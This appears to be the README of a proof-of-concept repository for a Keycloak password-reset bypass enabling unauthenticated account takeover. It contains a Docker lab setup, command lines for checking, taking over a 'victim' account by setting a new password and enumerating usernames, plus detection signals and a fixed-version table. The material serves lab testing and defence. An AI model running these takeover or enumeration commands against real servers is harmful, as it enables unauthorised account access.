prot0tw/keycloak_cve-2026-18963_pocThis repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...).
Keycloak reset-credentials bypass → unauthenticated account takeover CVSS 9.1 | Affected: Keycloak 26.0.0 – 26.7.1
This lab is reconstructed from the original README of
snizi/cve-2026-18963-exploit.
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml <- Lab environment
└── realm-poc.json <- Keycloak realm config (auto-imported)
docker compose up -d
Or run Keycloak directly, without the realm import:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Wait ~30–60 seconds for Keycloak to finish booting.
| Service | URL | Version | Status |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VULNERABLE ⚠️ |
| Mailpit | http://localhost:8025 | latest | Captures email |
admin / adminvictim / OriginalPassw0rd!poc | Client: poc-apppoc realm or the victim user is missing, import it manually:
Manage realms → Create realm → Upload realm-poc.json.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Expected result on kc-vuln:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Side effects: a reset email is sent to the victim (view it at http://localhost:8025), and
emailVerifiedis set totrue.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
Afterwards, verify by logging in at http://localhost:8080/realms/poc/account
with victim / PoCPassw0rd!1.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
The realm is imported only on first boot, so the simplest reset is to recreate the environment from scratch:
docker compose down -v && docker compose up -d
Alternatively, reset the password manually in the admin console
(http://localhost:8080/admin): Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
docker compose down -v
| Signal | Legitimate | Exploit |
|---|---|---|
GET /login-actions/action-token?... | ✅ Yes | ❌ No |
POST .../reset-credentials with body tryAnotherWay=yes | ❌ No | ✅ Yes |
SEND_RESET_PASSWORD → UPDATE_PASSWORD with the same code_id < 2 s | Rare | ✅ Always |
emailVerified flips to true with no VERIFY_EMAIL event | ❌ | ✅ Always |
In Mailpit (http://localhost:8025) the password-reset email arrives in the victim's mailbox, but the link inside it is never clicked when the exploit succeeds.
| Release line | Affected | Fix |
|---|---|---|
| ≤ 17 (WildFly) | No | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | None (must move to 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport) |
| 26.5 | 26.5.0 – 26.5.7 | None |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (vendor backport) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Versions before 26.0 are not affected: the sticky
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDnote and the "Try another way" selector screen in the reset flow were introduced in 26.0.0. Older builds simply lack the vulnerable code path — that is not the same as being patched.